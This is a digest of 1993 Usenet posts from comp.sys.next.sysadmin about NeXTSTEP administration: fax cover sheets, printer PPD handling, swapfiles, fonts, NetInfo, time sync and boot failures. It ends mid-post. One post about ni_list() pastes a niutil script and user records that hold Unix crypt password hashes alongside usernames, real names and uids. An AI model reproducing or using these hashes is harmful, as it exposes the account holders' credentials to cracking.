Newsgroups: comp.sys.next.sysadmin From: strobel!till (Tillmann Strobel) Subject: Re: fax Cover Sheet Message-ID: <1993Apr5.193905.1781@strobel.cube.de> Sender: till@strobel.cube.de Organization: Tillmann Strobel,D-7064 Remshalden 333 Date: Mon, 5 Apr 1993 19:39:05 GMT In comp.sys.next.sysadmin article <C4tKE8.DxK@northstar.com> you wrote: > Hello > > I am trying to modify the Cover sheet for faxes. I would like to know if > there is any documentation. I know how to basic things but I would like > to create a new form so that the phone number of the person I am calling > is automatically put on the cover sheet. > > Is this possible? If so how? Also I would like to format the date into a > more standard format. Is this possible? > > Thanks > --- > Ried Thiel NeXTMail ried@northstar.com > NorthStar Technologies, Inc. > 15 Maiden Lane Suite 803 > New York NY 10038 212-267-4100 X-160 hi, my name is till i ad 2 years ago the same problem: 1. you are able to modify the sheet with your pd drawing prg. draw. the file is located as NeXTlibery>Fax>English.proj. . You can just modify it, but you are not able to create new fields. have fun till strobel , w-7064 remshalden 3 , germany till@strobel.cube.de
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) Subject: NeXTOS and PPD files!?!?! Message-ID: <C52wEI.KL3@dove.nist.gov> Sender: news@dove.nist.gov Organization: NIST Date: Tue, 6 Apr 1993 20:18:17 GMT I'm frustrated. I've just installed a Tek Phaser200i printer on our network and I'm having some problems. I have the correct PPD file and when I go to print a document I get the option of selecting a paper tray (upper or lower). This option comes directly from the ppd file. The problem is that NeXTSTEP does NOT insert the code for paper tray selection unless I save the postscript to disk with the selection of "Postscript for Chosen Printer". Is there a way to PRINT with "Postscript for Chosen Printer"???? It's a real pain to print to a file and lpr it every time! Thanks in advance and my apologies if this is a stupid question, Eric -- Eric S. Boltz, M.S.E. *eboltz@nist.gov* Materials Research Engineer eboltz@jhunix.hcf.jhu.edu National Institute of Standards and Technology eboltz@tiber.nist.gov (Ph.D. Candidate, Johns Hopkins University) My views, opinions and statements in no way reflect those of the U.S. Gov't, the U.S. Department of Commerce or NIST.
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: swapfile.front as vm file. Should I worry In-Reply-To: nico@imani.cam.org's message of 5 Apr 93 14:14:54 GMT Message-ID: <KARTHY.93Apr6222123@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <1993Apr5.141454.1511@imani.cam.org> Date: Tue, 6 Apr 1993 21:21:23 GMT >>>>> On 5 Apr 93 14:14:54 GMT, nico@imani.cam.org (Nicolas Dore) said: Nicolas> Hi Nicolas> My machine uses a file named "/private/vm/swapfile.front" for virutal Nicolas> memory. The file /private/vm/swapfile" exists, but doesn't seem to grow Nicolas> with memory usage. "/etc/swaptab" defines "/private/vm/swapfile" as the vm Nicolas> file. I run 3.0 on a single HD '040 Cube, with a PLI 2.88 MB floppy on the Nicolas> chain. Nicolas> Now, what is happening? Can I delete "/private/vm/swapfile"? (I guess not) Nicolas> Can I get my machine to stop using "swapfile.front"? Well...swapfile.front is used when you machine is using compress on the swapfile which is most often a good idea (depending on your amount of memory). You can togle this is /etc/swaptab by giving a compress or nocompress option. NeXT has some defaults on when compressing is enabled and not - I can remember the memory limit, but try to look in Librarian - it's all documented. regards, Karsten.
Control: cancel <mike.734119208@sune.stacken.kth.se> Newsgroups: comp.sys.next.sysadmin From: mike@stacken.kth.se (Mike Henry) Subject: cancel <mike.734119208@sune.stacken.kth.se> Message-ID: <1993Apr6.205312.24002@kth.se> Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, NADA Date: Tue, 6 Apr 1993 20:53:12 GMT cancel <mike.734119208@sune.stacken.kth.se> in newsgroup comp.sys.next.sysadmin -- Mike Henry INET : mike@stacken.kth.se /// August Wahlstromsv. 4 /// S-182 31 Danderyd \\\/// SWEDEN TEL : +46 8 755-8687 \XX/
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: aru@sonata.cc.purdue.edu (Sri Ramkrishna) Subject: Help needed setting up sendmail/smail & b/cnews Message-ID: <C53332.5op@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University Date: Tue, 6 Apr 1993 22:42:37 GMT First off, a BIG huge thanks to everybody out there who helped point me in the right direction for setting up a UUCP link! THANKS! Now I'm working on two more parts of the whole mess: mail and news. For mail I have been told I really want to use smail, that it's a lot easier to setup and maintain. Any experiences? Any help in setting it up? Any comparisons between smail and sendmail+ITA (?)? As for news, I've read that c-news is much better than b-news. Could anybody help in pointing me in the right direction here? Thanks for all the help! To reach me, mail to either: kareth@mystic.use.com towers!mystic!kareth@gator.rn.com shyoung@ucs.indiana.edu in that order. -dsm
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: NeXTOS and PPD files!?!?! Message-ID: <9!j59-=@rpi.edu> References: <C52wEI.KL3@dove.nist.gov> Date: Wed, 7 Apr 1993 04:05:14 GMT eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes: > I'm frustrated. > I've just installed a Tek Phaser200i printer on our network and I'm > having some problems. I have the correct PPD file and when I go to > print a document I get the option of selecting a paper tray (upper > or lower). The problem is that NeXTSTEP does NOT insert the code > for paper tray selection unless I save the postscript to disk with > the selection of "Postscript for Chosen Printer". > > Is there a way to PRINT with "Postscript for Chosen Printer"???? > It's a real pain to print to a file and lpr it every time! > > Thanks in advance and my apologies if this is a stupid question, Not a particularly stupid question. I suspect your setup is similar to mine, where your printer is being driven by something other than the NeXT. For instance, my NeXT sends printouts for a Phaser printer to a sun to print, via CAP. The NeXT you are printing from assumes the printer is being driven off a NeXT, and thus it doesn't insert anything in the standard postscript stream. This would be a sensible decision, at least (given the assumption that a NeXT is driving the printer). In my case, the printer is actually being driven by CAP, and CAP doesn't have a clue about PPD files. So, there's no option but to do the "Print -> Save postscript for chosen printer -> lpr" dance... -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin From: jazz!craig (Craig Bustrin) Subject: Re: How long can a NeXT printer cable REALLY be??? Message-ID: <1993Apr6.151054.21085@object.com> Sender: craig@object.com Organization: Objective Technologies,Inc. References: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu> Date: Tue, 6 Apr 93 15:10:54 GMT In article <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu> hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) writes: > Hi, > > We are needing to attach a NeXT laser printer to a NeXT that is about > 40 feet away. Is there any way to do this? i.e. can one buy a cable > that long or have one made somewhere or is this even possible? What's > the longest length such a cable can be? FAQs say that the printer cable > can't be longer than the one supplied by NeXT. Is this really the final > word? I didn't know that there was supposed to be a limit to the printer cable length when I had a 25 foot extension made... In my experience, it works just fine thank you! I've no idea about a 40 foot length, but the original cable plus my 25 foot extension is getting pretty close. Just my personal experience. As usual, your mileage... Craig Bustrin
Newsgroups: comp.sys.next.sysadmin From: ed@talus.com Subject: csh + cu or tip question. Message-ID: <1993Apr7.052802.1453@talus.com> Sender: ed@talus.com Organization: Talus Corporation Date: Wed, 7 Apr 1993 05:28:02 GMT Hi guys, at my university we have a couple of line (50) which we can use to dial into the VAXs. I often have to do some homework in that fine VAX assembly language and would love an automatic procedure to dial in from my NeXT to the 749-77(50-99) lines. Right now I am using kermit and am typing manually: dial 7497750 and wait until I get the damn BUSY answer then ... dial 7497751 then.... Would it be possible to create a csh script that would try each line from 50 to 99 until it reaches a line which is not busy ? Should I use tip or cu ? What do you recommend ? Any pointer would be appreciated. Ed. -- Erik Dasque "The French Guy" · Talus Corporation We are so very far from home. All of us.
Newsgroups: comp.sys.next.sysadmin Subject: Re: fax Cover Sheet Message-ID: <1993Apr7.073108.27873@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Wed, 7 Apr 1993 07:31:08 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Apr5.193905.1781@strobel.cube.de> Organization: Institut fuer Informatik In article <1993Apr5.193905.1781@strobel.cube.de> writes: > In comp.sys.next.sysadmin article <C4tKE8.DxK@northstar.com> you wrote: > > Hello > > > > I am trying to modify the Cover sheet for faxes. I would like to know if > > there is any documentation. I know how to basic things but I would like > > to create a new form so that the phone number of the person I am calling > > is automatically put on the cover sheet. > > > > Is this possible? If so how? Also I would like to format the date into a > > more standard format. Is this possible? > > > > Thanks > > --- > > Ried Thiel NeXTMail ried@northstar.com > > NorthStar Technologies, Inc. > > 15 Maiden Lane Suite 803 > > New York NY 10038 212-267-4100 X-160 > > hi, my name is till > i ad 2 years ago the same problem: 1. you are able to modify the sheet with > your pd drawing prg. draw. the file is located as > NeXTlibery>Fax>English.proj. If your language is English. > .. You can just modify it, but you are not able to create new fields. > have fun Oho, quite wrong, you can create new fields, as many as you want to. You can then fill them in with whatever you want just before sending a fax. > till strobel , w-7064 remshalden 3 , germany till@strobel.cube.de -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
From: jacquot@lirmm.lirmm.fr (Michel Jacquot) Newsgroups: comp.sys.next.sysadmin Subject: News reader wanted Date: 25 Mar 1993 09:39:02 GMT Organization: LIRM Montpellier France Sender: jacquot@lirmm (Michel Jacquot) Distribution: world Message-ID: <1orujm$s45@lirmm.lirmm.fr> Hello, I am looking for a freeware News reader on NeXT. Thanks for the answers, and excuse-me if this question has been asked 1 million times or is in a FAQ. Michel -- Michel Jacquot jacquot@lirmm.fr LIRMM, 161 rue ADA, 34392 Montpellier Cedex 5 FRANCE Tel (33) 67 14 85 94 Fax (33) 67 14 85 00
Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: Re: fax Cover Sheet In-Reply-To: frank@ifi.unibas.ch's message of Wed, 7 Apr 1993 07:31:08 GMT Message-ID: <HERRING.93Apr7141358@fermat.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University References: <1993Apr5.193905.1781@strobel.cube.de> <1993Apr7.073108.27873@urz.unibas.ch> Date: 07 Apr 1993 13:13:57 GMT Till is : till strobel <germany till@strobel.cube.de> Robert is: Robert Frank <frank@ifi.unibas.ch> Till> hi, my name is till i ad 2 years ago the same problem: 1. you Till> are able to modify the sheet with your pd drawing prg. draw. the Till> file is located as NeXTlibery>Fax>English.proj. Robert> If your language is English. Till> .. You can just modify it, but you are not able to create new Till> fields. have fun Robert> Oho, quite wrong, you can create new fields, as many as you Robert> want to. You can then fill them in with whatever you want just Robert> before sending a fax. Please don't edit files in system directories, even it is a single-user machine. It is just asking for trouble. Any "draw" file that is placed in one of: ~/Library/Fax /LocalLibrary/Fax will show up in the popup-list on the cover sheet panel. This is accessed by choosing the "Edit" button just before sending the fax. I posted a rather long article on customizing cover sheets, but I can't find it. Maybe some kind soul can re-post it (he says, blithely assuming that someone found it worth saving... :-) and it can, perhaps, be added to the FAQ. Erick -- ----- Erick Herring | Computation is the art of carefully throwing NeXT Salg og Teknik | away information [and] Life is the art of Polyteknisk Data, | carefully throwing away opportunities, an Lyngby, Danmark | interesting coincidental parallel. herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin From: rob@polestar.facl.mcgill.ca (Robert Macfarlane) Subject: Re: NetWare gone... Message-ID: <1993Apr7.132944.29018@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <2BC0A285.15650@news.service.uci.edu> Date: Wed, 7 Apr 1993 13:29:44 GMT In article <2BC0A285.15650@news.service.uci.edu> rmyers@dec5200.acs.uci.edu (Richard Myers) writes: > We had NetWare running fine for about a week. Now when we log on all > we see is the volume 'SYS'. > lr-xr-xr-t 2 root 1024 Apr 5 13:43 /Net/NetWare/LDS2/SYS -> (automount)@ > I can't see anything there, nor can I change to that directory. I have > plenty of rights on the Novell box. The Novell is Arcnet+10baseT. > NetWare 3.11, 20 user (with space to log on). > Please mail tips on how to see the files on the server. > Thanks, > Kurt Reboot (the NeXT) and try again. That works for me. I see this problem quite frequently. Anybody know why? Rob Macfarlane Faculty of Arts Computer Lab McGill University
From: heading@signal.dra.hmg.gb (Anthony J.R. Heading) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXTOS and PPD files!?!?! Date: 7 Apr 1993 14:27:22 +0100 Organization: Defence Research Agency Message-ID: <1pukrqINN6r0@liszt.dra.hmg.gb> References: <C52wEI.KL3@dove.nist.gov> <9!j59-=@rpi.edu> This really isn't that tricky. All that should be necessary is to tweak printcap a little to add a filter which reads the PPD files and inserts the proper code. I've written such a filter in perl and it works fine for the exact I've got. If anyone is really interested, then mail me and I'll tidy the code up and send it to them. Anthony ----------------- Defence Research Agency, UK
From: rhess@consilium.COM (Richard L. Hess) Newsgroups: comp.sys.next.sysadmin Subject: Re: /etc/mtab? and the auto-diskmounter? and booting? Message-ID: <RHESS.93Apr7072010@consilium.COM> Date: 7 Apr 93 14:20:10 GMT References: <1993Mar29.200213.160239@zeus.calpoly.edu> <1993Mar30.001253.12872@vax.oxford.ac.uk> Sender: root@cimshop.UUCP Followup-To: comp.sys.next.sysadmin Organization: Consilium Inc., Mountain View, California. In-reply-to: mcm@vax.oxford.ac.uk's message of 29 Mar 93 23:12:53 GMT Here's something that I posted about this problem in January. +---------------------------------------------------[ forwarded message ] From: rhess@consilium.COM (Richard L. Hess) Date: 25 Jan 93 09:35:44 In-reply-to: davisre@sage.cc.purdue.edu's message of 23 Jan 93 00:01:36 GMT Newsgroups: comp.sys.next.bugs Subject: Re: /etc/mtab permissions >>>>> "Robert" == Robert Davis <davisre@sage.cc.purdue.edu> writes: Robert> This may have been mentioned before (I recently upgraded to Robert> 3.0), but is there a workaround or fix for this: ejecting a mounted Robert> floppy changes the permissions of /etc/mtab so that you can't do a df. I had the same problem. It took me a while to figure it out, but I'd bet that you have very tight permissions set on your "File Creation Mask". If you just use "Expert Preferences" (Unix) in the Preferences tool to open up your permissions to allow "Group" & "Others" Read access, then you won't have any problems with the permissions changing on /etc/mtab. Evidently when the eject script/program executes it runs as root and uses your default permissions and so if your permissions are too "tight" you can't read /etc/mtab after the floppy get's ejected. Hope this helps, Dick... ps. I don't remember whether it was ejecting Macintosh or DOS format floppies that caused this problem, but one worked and the other didn't and I never had problems with the NeXT (Unix) format floppies... +---------------------------------------------------[ End forwarded message ] Hope this helps, Dick... +---------------------------------------------------------- WHO: Richard Hess [ Staff Engineer ] CORP: Consilium Inc, 640 Clyde Court, Mtn View, CA 94043 VOICE: [415] 691-6342 EMAIL: rhess@consilium.COM <-----------------[ NeXTmail ] +
Newsgroups: comp.sys.next.sysadmin From: Michael_Pizolato@afs.com Subject: Re: fax Cover Sheet Message-ID: <1993Apr7.141121.1678@afs.com> Sender: Michael_Pizolato@afs.com References: <C4tKE8.DxK@northstar.com> Distribution: usa Date: Wed, 7 Apr 1993 14:11:21 GMT In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel) writes: > I am trying to modify the Cover sheet for faxes. I would like to know if > there is any documentation. I know how to basic things but I would like > to create a new form so that the phone number of the person I am calling > is automatically put on the cover sheet. > > Is this possible? If so how? Also I would like to format the date into > a more standard format. Is this possible? I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into ~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it appears as one of the cover letter choices when you press Edit from the Fax panel. In fact, since I only have one file in that directory, it comes up as the default choice. Note that you can't put it in ~/Library/Fax/English.lproj because it won't come up as a choice as above. At least that's true on my system; I'm running NS3.0. Also, I don't recommend changing the original /NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have a sysadmin's healthy fear of touching anything from the vendor. Override it with a local copy, yes, but don't change the original. Hope this helps, Michael -- Michael_Pizolato@afs.com If you can't control your peanut ~18 kyu butter, how can you expect to Q16 control the rest of your life? NeXTMail appreciated - Calvin
Newsgroups: comp.sys.next.sysadmin From: eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) Subject: Re: NeXTOS and PPD files!?!?! Message-ID: <C54GLq.6IA@dove.nist.gov> Sender: news@dove.nist.gov Organization: NIST References: <9!j59-=@rpi.edu> Date: Wed, 7 Apr 1993 16:32:12 GMT In article <9!j59-=@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes: > > I'm frustrated. > > I've just installed a Tek Phaser200i printer on our network and I'm > > having some problems. I have the correct PPD file and when I go to > > print a document I get the option of selecting a paper tray (upper > > or lower). The problem is that NeXTSTEP does NOT insert the code > > for paper tray selection unless I save the postscript to disk with > > the selection of "Postscript for Chosen Printer". > > > > Is there a way to PRINT with "Postscript for Chosen Printer"???? > > It's a real pain to print to a file and lpr it every time! > > The NeXT you are printing from assumes the printer is being driven off a > NeXT, and thus it doesn't insert anything in the standard postscript stream. > This would be a sensible decision, at least (given the assumption that a > NeXT is driving the printer). > > In my case, the printer is actually being driven by CAP, and CAP doesn't > have a clue about PPD files. So, there's no option but to do the "Print -> > Save postscript for chosen printer -> lpr" dance... Now doesn't this NeXT behavior fall in the category of 'REALLY STUPID'? Most NeXTs are networked and most networks share printers. Only a fool would hang a non-NeXT, network printer of a serial-ports-only NeXT! Our Phaser 200i has it's own TCP/IP box on the ethernet. Print jobs spool over in a couple seconds - very nice. Why would the NeXT think the printer is local? The printcap specifically states the rm= parameter. How hard could it be for NeXT to do the Save postscript for chosen printer -> lpr" dance at the OS level so the user doesn't have to hassle with it every time!? Eric -- Eric S. Boltz, M.S.E. *eboltz@nist.gov* Materials Research Engineer eboltz@jhunix.hcf.jhu.edu National Institute of Standards and Technology eboltz@tiber.nist.gov (Ph.D. Candidate, Johns Hopkins University) My views, opinions and statements in no way reflect those of the U.S. Gov't, the U.S. Department of Commerce or NIST.
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.sys.next.sysadmin,comp.mail.elm Subject: compiling elm 2.4 under NS 3.0 Date: 6 Apr 1993 20:44:57 GMT Organization: InterCon Systems Corporation - Herndon, VA USA Message-ID: <1psq4a$80b@news.intercon.com> Hi, I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies consistently on cc -bsd -fwritable-strings -I../hdrs -c add_site.c ./hdrs/defs.h:505: header file 'unistd.h' not found *** Exit 1 Stop. *** Exit 1 Stop. no matter what I seem to do. I don't have a "unistd.h" file anywhere on my drive, and I can't find a NeXT box that does have it... Can someone help? Thanks, David. ============================================================================= David Casti Internet: disc@vector.intercon.com Technical Support Engineer InterCon Systems Corporation Phone: (703) 709-5554 950 Herndon Parkway, Suite 420 FAX: (703) 709-5555 Herndon, Virginia 22070 ============================================================================= No official InterCon correspondence will ever have vector.intercon.com as the return address. =============================================================================
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: NeXTOS and PPD files!?!?! Message-ID: <8tj51-l@rpi.edu> References: <C54GLq.6IA@dove.nist.gov> Date: Wed, 7 Apr 1993 17:59:56 GMT eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes: > gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > > eboltz@acoustica.mrd.bldrdoc.gov (Eric S. Boltz) writes: > > > The problem is that NeXTSTEP does NOT insert the code for > > > paper tray selection unless I save the postscript to disk > > > with the selection of "Postscript for Chosen Printer". > > > > The NeXT you are printing from assumes the printer is being driven off > > a NeXT, and thus it doesn't insert anything in the standard postscript > > stream. This would be a sensible decision, at least (given the > > assumption that a NeXT is driving the printer). > > Now doesn't this NeXT behavior fall in the category of 'REALLY STUPID'? Um, no, not *really* stupid. It's certainly not as good an implementation as one would like for a mixed-vendor environment, but then *many* computer companies make assumptions that don't work well in a mixed-vendor environment. > Most NeXTs are networked and most networks share printers. > Only a fool would hang a non-NeXT, network printer of a > serial-ports-only NeXT! You're forgetting the appletalk card. I can get at all kinds of laserwriters from my NeXT via Appletalk (theoretically at least). I expect that the NeXT does the right thing when printing thru Appletalk, though I must admit I haven't tried that. A NeXT is *not* serial-ports-only, after all... > Why would the NeXT think the printer is local? The printcap specifically > states the rm= parameter. How hard could it be for NeXT to do the > Save postscript for chosen printer -> lpr" dance at the OS level so > the user doesn't have to hassle with it every time!? Note that I did not say the printer is *local*, I just said the assumption was that the machine which *did* do the printing was a NeXT running NS3.0. I have two NeXT's on my desk, for instance. One could have the rm= parameter which just pointed at the other one. As long as the final destination is a NeXT, all NeXT's assumptions probably workout okay. On the other hand, I do live in a multi-vendor environment too, and the underlying assumption of the current NeXT printer support is a bit of a hassle. I wonder if there's some way to get it to stick in the appropriate postscript code before shipping it over the wire to some other machine for printing. I must admit I haven't looked at it too closely. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: kwang@data.acs.calpoly.edu (Kevin John Wang) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: NetInfo Keywords: ni_list() Message-ID: <1993Apr07.193003.199585@zeus.calpoly.edu> Date: 7 Apr 93 19:30:03 GMT Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo We recently shifted our domain from / /<clients> to a 3-tier domain: / /network /network/<clients> However, several of our utilities use the ni_list() function call and now none of them work. they simply "stop" or come up with incomplete entries. Here's how we moved the users: echo greg niutil -create / /users/greg niutil -createprop / /users/greg realname "Greg Junell" niutil -createprop / /users/greg ssn niutil -createprop / /users/greg department niutil -createprop / /users/greg diskquota 4000 niutil -createprop / /users/greg uid 1015 niutil -createprop / /users/greg gid 400 niutil -createprop / /users/greg advisor niutil -createprop / /users/greg passwd 0g1.UusYleFK2 niutil -createprop / /users/greg home /home/data/u2/greg niutil -createprop / /users/greg shell /usr/local/bin/tcsh niutil -createprop / /users/greg _writers_passwd greg niutil -create / /users/greg/info niutil -createprop / /users/greg/info _writers greg and ever since, our code now outputs: 1:shorio:ShigenoriHorio:None:None:3000:1169:374:None:2zP5AOb10C/cM:/data/h ome/u4/shorio:/usr/local/bin/tcsh 2:mdeale:RussTheStuddTeasdale:=:=:=:647:371:=:qWcnQ9neDPsEw:/home/data/u3/ mdeale:/bin/csh 3:greg:AdamPeterWozniak:=:=:=:13431:371:=:mrbJBjb3qO3Cg:/home/data/u2/greg :/usr/local/bin/tcsh 4:derickso:LeongDavid:=:=:=:858:371:=:.W9TkNhDkzv52:/home/data/u2/derickso :/bin/csh .. 109:nfang:=:-:=:=:=:=:-:=:/home/data/u3/jgoodwin:/usr/local/bin/tcsh 110:rteasdal:=:=:=:=:=:=:=:=:/home/data/u4/nfang:/usr/local/bin/tcsh 111:awozniak:=:=:=:=:=:=:=:=:/home/data/u2/awozniak:/usr/local/bin/tcsh as you can see, for some reason, rteasdal's name is the only one that shows up between mdeal and rteasdal... and there is no "error" from ni_error... nor is there an "empty" notification. the - indicates that there is no field by that name, in this case, it's the "advisor" field. and the = indicates that the "ni_listlen" is shorter than the array offset... help? - Kevin Wang
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Only half of my fonts show up on panel... what gives? Summary: Need help with buildafmdir munging my fonts Keywords: Fonts, Type 1, NeXT, buildafmdir, shish-ke-bob Message-ID: <1993Apr8.043504.2831@galileo.cc.rochester.edu> Date: 8 Apr 93 04:35:04 GMT Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York I've just moved a bunch of fonts from my Macs to my NeXT with Trilithon's MacToPfa program (a very good buy, I must say) but I'm having some problems with what I assume is an OS glitch: everything worked dandily when I had the new fonts installed in my ~/Library/Fonts. They showed up properly, and I was able to use them. However, when I made myself root and copied them all over to the system /NextLibrary/Fonts, things went astray. After deleteing and rebuilding the .fontdirectory and .fontlist with buildafmdir, only the fonts down to my "O" fonts would show up on the font panel. I only have about 140 fonts total on the system, so I'm not over the limit. I deleted and rebuilt .font[list,directory] twice, and I even ran cacheAFMData. No luck. Any hints? -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin Subject: network time Message-ID: <1993Apr8.072555.27105@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Thu, 8 Apr 1993 07:25:55 GMT Sender: news@urz.unibas.ch (USENET News System) Organization: Institut fuer Informatik Keywords: ntp Argh, now I know why PB is causing me troubles: my ntpd isn't doning it's job. So files accessed through nfs don't have the right time stamp. Now, the big question is, why isn't ntpd working correctly. I have 'network' time enabled in the host manager and ntpd _is running_. But my local clock is always out of sync with the nfs server's clock. Even if I explicitly resync with the preferences, nothing happens. Any guesses, solutions? -Robert -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin Subject: Re: fax Cover Sheet Message-ID: <1993Apr8.072212.26073@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Thu, 8 Apr 1993 07:22:12 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Apr7.141121.1678@afs.com> Distribution: usa Organization: Institut fuer Informatik In article <1993Apr7.141121.1678@afs.com> writes: > In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel) > writes: > > I am trying to modify the Cover sheet for faxes. I would like to know if > > there is any documentation. I know how to basic things but I would like > > to create a new form so that the phone number of the person I am calling > > is automatically put on the cover sheet. > > > > Is this possible? If so how? Also I would like to format the date into > > a more standard format. Is this possible? > > I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into > ~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it > appears as one of the cover letter choices when you press Edit from the > Fax panel. In fact, since I only have one file in that directory, it > comes up as the default choice. > > Note that you can't put it in ~/Library/Fax/English.lproj because it > won't come up as a choice as above. At least that's true on my system; > I'm running NS3.0. Also, I don't recommend changing the original > /NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have > a sysadmin's healthy fear of touching anything from the vendor. > Override it with a local copy, yes, but don't change the original. > > Hope this helps, > Michael > > -- > Michael_Pizolato@afs.com If you can't control your peanut > ~18 kyu butter, how can you expect to > Q16 control the rest of your life? > NeXTMail appreciated - Calvin All nice suggestions, unless you are a systemmanger and responsible for a system wide, unified fax cover. In this case I WILL (copy and then) edit directly in the system directories. -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
From: A4422DAE@vm.univie.ac.at (Konrad Neuwirth) Newsgroups: comp.sys.next.sysadmin Subject: Support of non-postscript lasers? Date: Thu, 08 Apr 93 14:02:09 MEZ Organization: University of Vienna Message-ID: <16BAAC565.A4422DAE@vm.univie.ac.at> I need help once more (btw: thanks to all who responded to my loginwindow problem). I currently am getting the cables to conect my printer(s) to my next. unfortunatly, both my HP LaserJet II clone and my LJ 4 are non-postscript and I've been unable to find drivers for the printers on cs.orst.edu. can anybody help me out, please? //konrad
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: gds@cs.uct.ac.za (Riel Smit) Subject: Booting with broken internal drive Message-ID: <gds.734272673@sun-3> Sender: news@cs.uct.ac.za (news) Organization: Computer Science Department, University of Cape Town Date: Thu, 8 Apr 1993 12:37:53 GMT How do you boot your NeXTstation if the only device on which you have a boot image went bust? (It won't help to say "you can't" and tell me I should have been a better sys.admin -- I'm not a sys.admin even though I sometimes end up admin-ing a system. No wonder I get into these predicaments :-) When I boot "my" NextStation I get the following: booting SCSI target 1, lun 0 blk0 boot: sd()sdmach Booting from SCSI target 1 lun 0 READ: bad status detected in sdcmd: 0 sd()sdmach: read error blk0 boot: sd()sdmach Booting from SCSI target 1 lun 0 READ: bad status detected in sdcmd: 0 sd()sdmach: read error Can't load blk0 boot which tells me I might have some serious disk problem. I have backups (not as recent as I would have wanted, but I'll survive :-) The problem is I cannot boot a system that would allow me to do an fsck and/or restore. In fact, I cannot boot a system, period. I don't have access to another NeXT and I don't have another device I can boot off. Or rather, I have other devices: a second SCSI drive, diskette drive, tape drive, CD drive, ethernet, but I don't have bootable images for any of them. ("serves him right" I hear you mumble and you are probably right) Despite the manual saying "At this time, only a NeXT computer configured with a a 660MB SCSI drive as a NetBoot server is supported" I tried putting sdmach and boot on a NCR machine that runs bootpd and asked the ROM monitor ben sdmach -bas The bootpd receives and recognises zillions of requests (only from the NeXT) and responds in kind. On the NeXT I get Requesting BOOTP information.....XLXLXLXLXLXLXL etc. It seems to be in an infinite loop, printing XL on the screen every now and then. What does the XL mean? I think I am barking up the wrong tree anyway. After all, I probably need a couple of other executables, e.g. a shell that I might not get at on the disk. Would a friend with a NeXT be able to create a bootable floppy (I like to call them stiffies)? How? Obviously 